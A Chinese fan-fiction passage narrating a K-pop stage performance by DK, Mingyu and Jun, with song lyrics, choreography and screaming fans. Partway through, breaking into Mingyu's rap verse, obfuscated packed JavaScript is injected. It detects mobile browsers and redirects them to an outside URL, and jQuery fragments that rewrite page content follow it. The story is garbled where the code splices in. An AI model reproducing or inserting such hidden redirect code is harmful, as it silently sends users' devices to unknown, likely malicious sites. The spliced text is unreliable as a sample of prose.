剧场的灯光骤然暗下，仅剩几束暖橙光束如夕阳余晖斜切过舞台。空气里还残留着上一支舞的汗味与尖叫，观众席里的小姑娘们，脸蛋红扑扑的，眼神还带着点被“狙中心脏”后的恍惚，手指头无意识地揪着衣角，像一群刚被台风扫过的小蘑菇。
然后，灯“啪”地全灭了。
不是那种制造悬念的渐暗，是像你家楼下修路灯的大爷随手一拉闸——干脆利落，猝不及防。
前奏如雨滴敲窗般落下。
黑暗中，几声压抑的抽气声格外清晰。
就在这片让人心慌的纯黑里，一个声音响起来了。不是音响里炸开的电子音浪，是活生生的、带着点微哑磁性的男声，温柔得像睡前故事的开场白，又近得仿佛就贴着你的耳朵在哼：
“Ye~e~e~ah….Lady~”
是DK。
这声“Ye~ah”像根羽毛，轻轻搔在黑暗里所有绷紧的神经上。剧场太小了，小到这声音的共鸣仿佛是从自己胸腔里震出来的，带着温热的呼吸感。前排的姑娘下意识捂住了心口，感觉像被塞了个暖宝宝，还是刚充好电那种。
一束暖得能融化黄油的光，“唰”地打在舞台中央。李硕珉站在那里，没摆什么酷炫Pose，就简简单单穿着件宽大的灰色西装，刘海软软地搭在额前，咧着嘴，露出一口白得晃眼的大白牙，笑得像个……嗯，你家楼下早餐店刚出炉、还冒着热气的阳光大包子。
他朝台下挥了挥手，不是爱豆营业那种标准弧度的挥手，是像看见好久不见的老朋友，带着点“嘿！我在这儿呢！”的雀跃和憨直。
“呜哇——！” 台下瞬间被这“治愈系核弹”引爆。这笑容，这毛衣，这氛围… 跟刚才那队拿雨伞当枪使的危险分子是一个团的吗？！
音乐正式流淌出来，是舒缓轻柔的钢琴旋律，夹杂着一点清新的电子节拍。DK开口，声音清亮得像山涧泉水，歌词温柔地叩击耳膜：
“穿上新款T恤总是打开钱包？”
“心脏扑通扑通像孩子一样？”
他一边唱着，一边自然地向前走了几步，微微歪头，眼神专注地扫过台下的每一张脸，那目光里没有审视，只有满满的、快要溢出来的“我来给你充电啦！”的真诚。
文俊辉的登场则像一幅晕开的水墨画。他穿着一件质感柔软的蓝色西装，如同静谧的湖水。他的动作舒展流畅，带着东方的柔韧美。他的歌声清澈：
“在日计本上，做出标记
有点矛盾我的内心”
他的眼神温柔似水，看向观众时，带着一种沉静的包容感，仿佛能接纳你所有的疲惫和心事。当他舒展手臂，指尖划过空气时，指向观众时，前排的女观众都开始捂嘴比心。
副歌部分，三人终于合体。没有队伍A那种充满攻击性的刀锋同步，也没有队伍B那种原始的力量爆发。他们的刀群舞，同步率依然高得吓人，却像被裹在了一层柔软的棉花糖里——动作幅度收敛，力量控制精准，充满了细腻的呼吸感。
一个标志性的三人并排侧身wave：
DK：动作幅度最大，笑容灿烂，像只热情洋溢的大型金毛，恨不得把“开心”两个字写在脸上传递给你。
珉奎：动作带着慵懒的节制感，眼神半眯，嘴角含笑，像只优雅又有点小傲娇的缅因猫，无声释放着“哥很帅，但哥不说”的气场。
JUN：动作行云流水，指尖的延伸都带着韵律，眼神温柔专注，像一幅会动的山水画，宁静致远。
三人动作整齐划一，身体起伏的弧度、指尖延伸的角度、甚至呼吸的节奏都奇妙地同步着。但这种同步不是冰冷的机器复制，而是三种截然不同的“男友风格”在和谐共鸣——热情犬系、慵懒猫系、温柔水墨系——总有一款能精准击中你的取向！
金珉奎从舞台另一侧的阴影里踱步而出。他穿了件粉色的西装，袖子随意地挽起来，他没像DK那样火力全开地笑，只是嘴角噙着一抹若有似无的弧度，眼神带着点刚睡醒的迷蒙和专注，慢悠悠地唱着rap：</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993327|178052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“（ha）When I see you girl
不用慌张，你的朋友们都认识我
从未出现在你的眼前我曾经有无数的计划
装作很酷为你准备了咖啡
为了约你看电影热情打着招呼 hello”
他的动作不疾不徐，带着一种天生的松弛感。一个简单的抬手，手臂划过空气的弧度都像精心计算过，充满了随性又撩人的“男友力”。他往前走到观众席，跟粉丝互动，让大家开始激动起来，有返回舞台，拿着一朵花，走向女粉四的席位，把花献给她，引起阵阵尖叫。
DK的唱到“温柔地看着你，鼓起勇气挥挥手，笑着问好 Hello，在晴朗的天空下，现在我在和你说话，哦，宝贝”时，他直接单膝点地，动作轻柔得怕惊扰谁似的，向粉丝伸出手掌，掌心向上。一个前排姑娘鬼使神差地伸出手指，轻轻碰了碰他的指尖。DK立刻像充了电一样，笑容放大，用力点了点头，仿佛在说：“收到！电量充满，继续发射阳光！”
歌曲尾声，钢琴旋律渐渐淡去。三人坐在长椅上，同时看向观众抬手微笑。灯光勾勒出他们侧脸轮廓和微微起伏的胸膛。
DK用那标志性的、带着点微哑却无比清亮的声音，如同黑暗中落下的最后一句耳语，轻轻敲在每个人的心上：
“下次再见时… 也说 Hello 吧。”
“啊啊啊啊——！！！”
尖叫声终于冲破束缚，如同海啸般席卷了整个剧场，比之前任何一次都要热烈、持久，带着一种“被狠狠治愈后”的激动。
追光灯重新亮起时，舞台上只剩下三个微微鞠躬的身影。DK还在傻笑，额发被汗水打湿成一绺一绺；珉奎抬手擦了擦额角的汗，动作依旧带着那股子慵懒帅；JUN微微喘着气，脸颊泛红，眼神却亮晶晶的，像盛满了星光。
这一刻，小小空间里，只回荡着三个“临时男友”用歌声和温柔刀群舞砸下的真理——治愈人心，才是最高级的性感！